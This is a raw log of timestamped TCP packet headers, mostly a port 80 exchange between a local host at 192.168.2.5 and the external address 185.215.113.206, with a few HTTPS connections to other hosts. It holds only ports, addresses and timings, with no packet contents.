Nov 26, 2024 10:09:36.274199009 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.274244070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.274282932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.274885893 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.274960995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.274983883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.275002956 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.275779009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.275844097 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.275908947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.275948048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.276702881 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.276762009 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.276926041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.276964903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.277518988 CET	49869	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.277558088 CET	443	49869	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.277635098 CET	49869	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.277734995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.277782917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.277831078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.277997017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.278501987 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.278546095 CET	49869	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.278558016 CET	443	49869	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.278573036 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.278590918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.278624058 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.279221058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.279270887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.279407024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.279462099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.279967070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.280100107 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.280112028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.280134916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.280706882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.280749083 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.280807972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.280843973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.281521082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.281641960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.281692028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.282375097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.282426119 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.282493114 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.282583952 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.283229113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.283286095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.283524036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.283565998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.284300089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.284357071 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.284389973 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.284426928 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.285103083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.285147905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.285157919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.285183907 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.285716057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.285820007 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.285844088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.285856009 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.286730051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.286788940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.286902905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.286945105 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.287635088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.287688971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.287689924 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.287755013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.288453102 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.288465977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.288516998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.289067984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.289129019 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.289163113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.289201021 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.289884090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.289944887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.290018082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.290051937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.290746927 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.290771961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.290791988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.290822983 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.291676998 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.291723967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.291786909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.291822910 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.292643070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.292654991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.292709112 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.293353081 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.293395042 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.293453932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.293690920 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.294162989 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.294209957 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.294235945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.294275999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.294938087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.294981956 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.295066118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.295196056 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.295835972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.295876026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.295958996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.295999050 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.296857119 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.296924114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.296998978 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.297038078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.297816038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.297875881 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.298093081 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.298310041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.298948050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.299000978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.299036026 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.299072981 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.299673080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.299729109 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.299751997 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.299860001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.300448895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.300542116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.300612926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.301146984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.301211119 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.301254034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.301789999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.301832914 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.301881075 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.303303957 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.364479065 CET	443	49858	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.364547014 CET	443	49858	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.364629984 CET	49858	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.365050077 CET	49858	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.365077019 CET	443	49858	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.365092039 CET	49858	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.365098953 CET	443	49858	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.368361950 CET	49870	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.368408918 CET	443	49870	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.368489027 CET	49870	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.368691921 CET	49870	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:36.368705988 CET	443	49870	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:36.389364004 CET	443	49863	23.33.40.135	192.168.2.5
Nov 26, 2024 10:09:36.389796019 CET	49863	443	192.168.2.5	23.33.40.135
Nov 26, 2024 10:09:36.389822006 CET	443	49863	23.33.40.135	192.168.2.5
Nov 26, 2024 10:09:36.390887022 CET	443	49863	23.33.40.135	192.168.2.5
Nov 26, 2024 10:09:36.390952110 CET	49863	443	192.168.2.5	23.33.40.135
Nov 26, 2024 10:09:36.440936089 CET	49863	443	192.168.2.5	23.33.40.135
Nov 26, 2024 10:09:36.441133022 CET	443	49863	23.33.40.135	192.168.2.5
Nov 26, 2024 10:09:36.451508045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.451586008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.451615095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.451653004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.451809883 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.451845884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.451867104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.451884985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.452538013 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.452594995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.452646971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.453319073 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.453377962 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.453602076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.453648090 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.454236984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.454256058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.454315901 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.454353094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.455059052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.455100060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.455194950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.455236912 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.456098080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.456165075 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.456324100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.456367970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.457014084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.457060099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.457153082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.457254887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.457503080 CET	443	49861	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:36.457871914 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.457914114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.458048105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.458087921 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.458266973 CET	443	49862	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:36.458601952 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.458646059 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.458725929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.458780050 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.458992004 CET	49861	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:36.459003925 CET	443	49861	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:36.459451914 CET	49862	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:36.459480047 CET	443	49862	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:36.459726095 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.459799051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.459847927 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.460442066 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.460485935 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.460494041 CET	443	49861	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:36.460565090 CET	49861	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:36.460570097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.460618019 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.460724115 CET	443	49862	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:36.460778952 CET	49862	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:36.461221933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.461283922 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.461396933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.461443901 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.462393045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.462435007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.462575912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.462829113 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.463473082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.463517904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.463563919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.463609934 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.464374065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.464427948 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.464490891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.464531898 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.465188980 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.465243101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.465281963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.465313911 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.466258049 CET	49861	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:36.466391087 CET	443	49861	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:36.466427088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.466623068 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.466665983 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.467768908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.467855930 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.467866898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.467904091 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.468519926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.468584061 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.468677044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.468753099 CET	49862	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:36.468771935 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.468903065 CET	443	49862	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:36.469346046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.469408035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.469531059 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.469604969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.469984055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.470031977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.470091105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.470129967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.470794916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.470860958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.470901012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.470961094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.471601963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.471695900 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.471735954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.471844912 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.472547054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.472609997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.472704887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.472759962 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.473474026 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.473486900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.473525047 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.473586082 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.474132061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.474234104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.474268913 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.474304914 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.474920034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.475050926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.475745916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.475810051 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.475841999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.475846052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.475934982 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.476689100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.476758003 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.476793051 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.476811886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.477591991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.477654934 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.477668047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.477703094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.478426933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.478486061 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.478524923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.478569984 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.479289055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.479361057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.479406118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.480087996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.480165005 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.480326891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.480364084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.480844021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.480906010 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.480942011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.480984926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.481596947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.481656075 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.481664896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.481708050 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.482399940 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.482441902 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.482502937 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.482628107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.483230114 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.483278990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.483288050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.483361959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.484097004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.484146118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.484219074 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.484322071 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.484936953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.484977007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.485064030 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.485265970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.485795021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.485869884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.485894918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.485935926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.486769915 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.486814976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.486888885 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.486931086 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.487411976 CET	49863	443	192.168.2.5	23.33.40.135
Nov 26, 2024 10:09:36.487426043 CET	443	49863	23.33.40.135	192.168.2.5
Nov 26, 2024 10:09:36.487720013 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.487766027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.487766027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.487797976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.488395929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:36.488440037 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:36.488455057 CET	80	49766	185.215.113.206	192.168.2.5
